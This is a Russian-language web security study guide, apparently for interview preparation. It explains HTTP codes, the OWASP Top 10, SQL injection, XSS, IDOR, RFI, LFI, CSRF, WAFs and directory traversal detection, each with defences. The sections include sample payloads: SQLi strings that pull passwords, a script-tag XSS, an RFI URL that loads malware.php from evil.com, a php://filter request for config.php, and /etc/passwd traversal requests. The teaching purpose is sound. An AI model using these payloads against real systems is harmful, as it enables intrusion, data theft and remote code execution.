Веб безопасность

🔹 1. HTTP коды ответов.

HTTP-коды ответов (HTTP response codes) — это трехзначные числа, которые сервер отправляет в ответ на запрос клиента (например, браузера) для информирования о результате обработки запроса. Они разделены на пять классов, каждый из которых обозначает определенный тип ответа. Вот основные категории:

📌1.1xx: Информационные (Informational)

Эти коды указывают, что запрос получен и обработка продолжается.

Примеры:

100 Continue — сервер готов принять оставшуюся часть запроса.
101 Switching Protocols — сервер согласен сменить протокол (например, с HTTP на WebSocket).

📌2.2xx: Успешные (Success)

Эти коды означают, что запрос был успешно обработан.

Примеры:

200 OK — запрос выполнен успешно.
201 Created — новый ресурс успешно создан.
204 No Content — запрос выполнен, но ответ не содержит данных.

📌3.3xx: Перенаправления (Redirection)

Эти коды указывают, что для завершения запроса требуется дополнительное действие, например, перенаправление на другой URL.

Примеры:

301 Moved Permanently — ресурс permanently перемещен на новый URL.
302 Found — ресурс временно доступен по другому URL.
304 Not Modified — ресурс не изменился, можно использовать кэшированную версию.

📌4.4xx: Ошибки клиента (Client Errors)

Эти коды указывают на ошибки со стороны клиента, например, неверный запрос или отсутствие доступа.

Примеры:

400 Bad Request — сервер не может обработать запрос из-за синтаксической ошибки.
401 Unauthorized — требуется аутентификация.
403 Forbidden — доступ к ресурсу запрещен.
404 Not Found — запрашиваемый ресурс не найден.

📌5.5xx: Ошибки сервера (Server Errors)

Эти коды указывают на ошибки на стороне сервера, которые препятствуют выполнению запроса.

Примеры:

500 Internal Server Error — общая ошибка сервера.
502 Bad Gateway — сервер получил недопустимый ответ от вышестоящего сервера.
503 Service Unavailable — сервер временно недоступен (например, из-за перегрузки).

🔹 2. Топ 10 OWASP.

OWASP Top 10 — это список наиболее критичных уязвимостей веб-приложений, составленный проектом OWASP (Open Web Application Security Project). Этот список обновляется примерно раз в 3-4 года и помогает разработчикам и специалистам по безопасности понять главные угрозы и методы защиты от них.

Актуальный OWASP Top 10 (2021):

Broken Access Control (Нарушение управления доступом)
— Ошибки в механизмах аутентификации и авторизации, позволяющие злоумышленнику получить несанкционированный доступ к данным или функциям.
📌 Пример: Пользователь может получить административные права, просто изменив идентификатор в URL.
Cryptographic Failures (Криптографические ошибки)
— Неправильное использование шифрования, утечка конфиденциальных данных, слабые алгоритмы или отсутствие шифрования.
📌 Пример: Хранение паролей в открытом виде в базе данных.
Injection (Инъекции)
— Внедрение вредоносного кода в запросы (SQL, NoSQL, OS-команды, LDAP и т. д.).
📌 Пример: SQL-инъекция через ввод OR '1'='1' в поле пароля.
Insecure Design (Небезопасный дизайн)
— Архитектурные ошибки, связанные с отсутствием моделей угроз и продуманной стратегии защиты.
📌 Пример: Разработка API без ограничения количества запросов, что делает его уязвимым для DDoS.
Security Misconfiguration (Ошибки конфигурации безопасности)
— Использование стандартных паролей, лишних сервисов или небезопасных настроек.
📌 Пример: Включённый режим отладки в продакшене, открытые файлы конфигурации.
Vulnerable and Outdated Components (Уязвимые и устаревшие компоненты)
— Использование библиотек, зависимостей или плагинов с известными уязвимостями.
📌 Пример: Приложение использует старую версию Log4j с критической уязвимостью.
Identification and Authentication Failures (Ошибки идентификации и аутентификации)
— Слабые пароли, отсутствие многофакторной аутентификации (MFA), незащищённые токены.
📌 Пример: Отсутствие защиты от brute-force атак на форму входа.
Software and Data Integrity Failures (Ошибки целостности ПО и данных)
— Недостаточные проверки целостности обновлений, зависимостей и файлов.
📌 Пример: Загрузка обновлений по HTTP вместо HTTPS, что позволяет злоумышленникам их подменить.
Security Logging and Monitoring Failures (Отсутствие логирования и мониторинга безопасности)
— Недостаток журналирования событий, что мешает обнаружению атак.
📌 Пример: Отсутствие логов неудачных попыток входа в систему.
Server-Side Request Forgery (SSRF) (Подделка серверных запросов)
— Возможность заставить сервер выполнить запрос к произвольному ресурсу.
📌 Пример: Атака через загрузку изображения, где сервер скачивает вредоносный файл с внутреннего ресурса.

🔹 3. Что такое SQL инъекция?

SQL-инъекция (SQL Injection, SQLi) — это уязвимость веб-приложений, возникающая при некорректной обработке пользовательских данных в SQL-запросах. Она позволяет злоумышленнику выполнять произвольные SQL-команды, получая доступ к базе данных, изменяя или даже удаляя данные.

Типы SQL-инъекций: 1. Классическая (Union-based)
— Использует оператор UNION для объединения результатов нескольких запросов.
🔹 Пример: user' UNION SELECT name, password FROM users -- 2. Слепая (Blind SQLi)
— Злоумышленник не видит прямого ответа, но может анализировать поведение системы.
🔹 Пример: - user' AND 1=1 -- (вернёт данные) - user' AND 1=2 -- (не вернёт ничего) 3. Временная (Time-based Blind)
— Использует задержку выполнения запроса для получения информации.
🔹 Пример: user' OR IF(1=1, SLEEP(5), 0) -- 4. Out-of-band (OOB)
— Отправляет данные злоумышленнику через DNS или HTTP-запрос.

Как защититься от SQL-инъекций?

📌Использовать подготовленные (параметризованные) запросы:

📌Применять ORM (например, SQLAlchemy), который предотвращает инъекции.

📌Ограничивать права доступа к базе данных.

📌Фильтровать вводимые пользователем данные.

📌Использовать Web Application Firewall (WAF).

🔹 4. Что такое XSS - типы и как защититься.

XSS (межсайтовый скриптинг) — это уязвимость веб-приложений, при которой злоумышленник внедряет вредоносный скрипт (обычно JavaScript) в веб-страницу, которая затем выполняется у других пользователей.

Это позволяет: - Красть cookies и сессии (что может привести к угону аккаунтов). - Перенаправлять жертву на фишинговые сайты. - Подменять содержимое страницы (например, подделывать формы входа). - Выполнять действия от имени пользователя.

Типы XSS:

1. Reflected XSS (Отражённый XSS)

Скрипт передаётся через URL и выполняется в браузере жертвы.
Обычно применяется через GET-параметры (?query=<script>alert('XSS')</script>).
Атака требует, чтобы жертва перешла по вредоносной ссылке. 2. Stored XSS (Хранимый XSS)
Вредоносный скрипт сохраняется в базе данных или файлах.
Выполняется автоматически при загрузке страницы.
Более опасен, так как атакует всех пользователей сайта.

3. DOM-based XSS: Как она работает?

DOM-based XSS — это вид межсайтового скриптинга (XSS), который происходит на стороне клиента (в браузере) и не затрагивает сервер. В отличие от Reflected XSS и Stored XSS, атака не передаёт вредоносный код на сервер — он выполняется прямо в браузере пользователя из-за небезопасной обработки DOM (Document Object Model).

🔹 Предотвращение XSS

1. Экранирование (escaping) входных данных

Использовать безопасные функции для вывода в HTML, PHP, JavaScript

2. Фильтрация пользовательского ввода

Очищать текст от <script> и других опасных тегов.

Использовать специальные библиотеки:

PHP: HTML Purifier
Python: Bleach
Node.js: DOMPurify

3. Использование Content Security Policy (CSP)

Content Security Policy (CSP) — это механизм защиты веб-приложений от атак, таких как XSS (Cross-Site Scripting) и code injection. Он работает через специальные HTTP-заголовки, которые определяют, какие ресурсы можно загружать и выполнять на сайте.

Как работает CSP?

Когда браузер загружает страницу, он выполняет следующие шаги:

1) Загружает HTML-код с сервера.

2) Ищет заголовок CSP (Content-Security-Policy) в HTTP-ответе.

3) Разбирает и кэширует политики CSP (список разрешённых источников для скриптов, стилей, изображений и т. д.).

4) Сравнивает каждый загружаемый ресурс с CSP-политиками.

📌Если ресурс разрешён — он загружается.

📌Если запрещён — браузер блокирует его и выводит ошибку в консоли.

🔹 5. Что такое IDOR?

IDOR (Несанкционированный прямой доступ к объектам) – это уязвимость, которая позволяет злоумышленнику получить доступ к данным других пользователей, изменяя параметры запроса.

Как работает IDOR?

По сути - это подмена данных в URL, POST запросах, API запросах и тд.

Например:

📌 1. Подмена параметров в POST-запросе

Форма смены пароля:

POST /change-password

Content-Type: application/json

{ "user_id": "123", "new_password": "password123" }

Если злоумышленник изменит user_id на 124, он сможет сменить пароль чужого пользователя

📌 2. API-запрос без проверки прав

Многие веб-приложения используют API. Если в API нет авторизации, IDOR становится серьёзной проблемой.

Уязвимый API-запрос:

GET /api/user/10

Если злоумышленник меняет 10 на 11, он может получить чужие данные

📌 3. Изменение ID в URL

Допустим, на сайте используются ссылки:

https://example.com/orders/1001

Если злоумышленник подставит другой номер заказа

Как защититься от IDOR?

✅ 1. Проверять права доступа - Перед тем как отдавать данные пользователю, убедитесь, что он имеет на них права.

✅ 2. Использовать аутентификацию и авторизацию - В API-запросах проверять, что пользователь запрашивает только свои данные.

✅ 3. Избегать передавать идентификаторы в URL - Вместо id=123 лучше использовать уникальные токены или JWT-токены.

✅ 4. Использовать Access Control List (ACL) - Настроить чёткие разрешения на доступ к объектам.

✅ 5. Логировать подозрительные запросы - Если один IP-адрес запрашивает разные ID подряд, это может быть атакой.

🔹 6. Что такое RFI (Remote File Inclusion) и как защититься.

RFI (Удалённое включение файлов) – это уязвимость, при которой злоумышленник может загрузить и выполнить внешний (удалённый) файл на сервере жертвы.

Как работает RFI?

📌 Загрузка вредоносного кода.

Допустим, у нас есть PHP-код, который загружает страницу по параметру page:

<?php include($_GET['page']); ?>

🔴 Проблема: код подключает файл без проверки, откуда он загружается.

🔹 Запрос, который использует атаку:

https://example.com/index.php?page=http://evil.com/malware.php

Если сервер не защищён, он скачает и выполнит malware.php с атакующего сервера. Теперь злоумышленник может выполнить любой код на сервере жертвы!

📌 Чтение конфиденциальных данных

Если сервер разрешает file:// или php://, злоумышленник может украсть файлы, например, config.php:

https://example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php

Сервер выдаст config.php в Base64, и злоумышленник сможет расшифровать его.

Как защититься от RFI?

✅ 1. Отключить allow_url_include в PHP

allow_url_include = Off

✅ 2. Фильтровать входные данные - Использовать белый список разрешённых файлов:

✅ 3. Использовать абсолютные пути

✅ 4. Ограничить права сервера

Запретить исполнение PHP-кода в uploads/
Использовать chmod 640 для важных файлов

✅ 5. Включить WAF (Web Application Firewall)

WAF (например, ModSecurity) может блокировать RFI-атаки до их выполнения.

🔹 7. Что такое LFI (Local File Inclusion) и как защититься.

LFI (Локальное включение файлов) – это уязвимость, при которой злоумышленник может получить доступ к локальным файлам сервера и даже выполнить код.

📌 Что может сделать атакующий?

Прочитать конфиденциальные файлы (например, /etc/passwd)
Получить доступ к исходному коду
Запустить PHP-код через логи или загрузки
Перехватить учётные данные или токены

Пример: https://example.com/index.php?page=../../../../etc/passwd

Тут происходит выход на директории выше и получение данных из файла с паролем.

3. Как защититься от LFI?

✅ 1. Использовать белый список файлов

✅ 2. Использовать абсолютные пути

✅ 3. Запретить выполнение PHP в загрузках и логах

✅ 4. Ограничить права сервера

✅ 5. Включить WAF (Web Application Firewall)

🔹 8. Что такое CSRF.

CSRF (Межсайтовая подделка запроса) – это уязвимость, при которой злоумышленник заставляет пользователя выполнить нежелательный запрос к веб-сайту, на котором он уже авторизован.

📌 Что может сделать атакующий?

Изменить пароль аккаунта жертвы
Перевести деньги со счёта жертвы
Отправить запросы от имени пользователя

Как защититься от CSRF?

✅ 1. Использовать CSRF-токены - При каждом запросе сервер должен требовать уникальный токен.

✅ 2. Использовать SameSite в cookies - Запретить отправку cookies с внешних сайтов.

✅ 3. Проверять заголовок Origin/Referer - Сервер должен проверять, откуда пришёл запрос.

✅ 4. Отключить небезопасные методы (GET для действий) - Запросы, которые изменяют данные (POST, DELETE), не должны использовать GET.

✅ 5. Использовать CORS (Cross-Origin Resource Sharing) - Запретить выполнение запросов с других доменов, если это не требуется.

🔹 9. Что такое WAF.

Web application firewall (WAF) — это совокупность программных мониторов и фильтров, предназначенных для обнаружения и блокирования сетевых атак на веб-приложение.

WAF устанавливается перед защищаемым веб ресурсом и анализирует все передаваемые HTTP запросы на наличие вредоносного кода и потенциально опасную активность злоумышленников. При проведении анализа WAF основывается на различных механизмах сигнатурного анализа, правилах, средствах анализа аномалий. Также в своей работе WAF могут использовать нейросети и различные индикаторы атак.

В случае обнаружения плохих запросов WAF может выполнить следующие действия: удалить из запроса опасные данные по аналогии с тем, как антивирус пытается лечить зараженные файлы, также запрос может быть заблокирован целиком. Так возможна блокировка источника атаки на сетевом уровне, то есть, мы блокируем все обращения с данного IP. Кроме того, WAF ориентирован на выявление атак из списка OWASP Top 10.

🔹 10. Как ты будешь детектировать попытку атаки обхода директории (directory traversal).

Анализ логов веб-сервера

✅ Буду искать подозрительные запросы с ../, %2e%2e/, %252e%252e/ и их вариациями. Примеры запросов:

GET /../../../etc/passwd HTTP/1.1

GET /..%2F..%2F..%2Fwindows/system32/cmd.exe HTTP/1.1

🔹 Фильтрация входных данных

✅ Буду проверять параметры URL и формы на наличие ../, ..\ или их закодированных вариантов (%2e%2e, %252e%252e).

✅ Буду запрещать относительные пути в пользовательском вводе.

🔹 Использование WAF (Web Application Firewall)

✅ Современные WAF могут блокировать подозрительные запросы с характерными паттернами обхода директорий.

🔹 Мониторинг файловой системы

✅ Если приложение внезапно запрашивает доступ к запрещённым файлам (например, /etc/passwd, C:\Windows\system32), это признак атаки.

🔹 Контроль прав доступа

✅ Даже если атака произошла, правильные права доступа предотвратят чтение критических файлов.

🔹 Обнаружение аномалий в поведении пользователей

✅ Необычно частые 404-ошибки могут указывать на попытки перебора путей.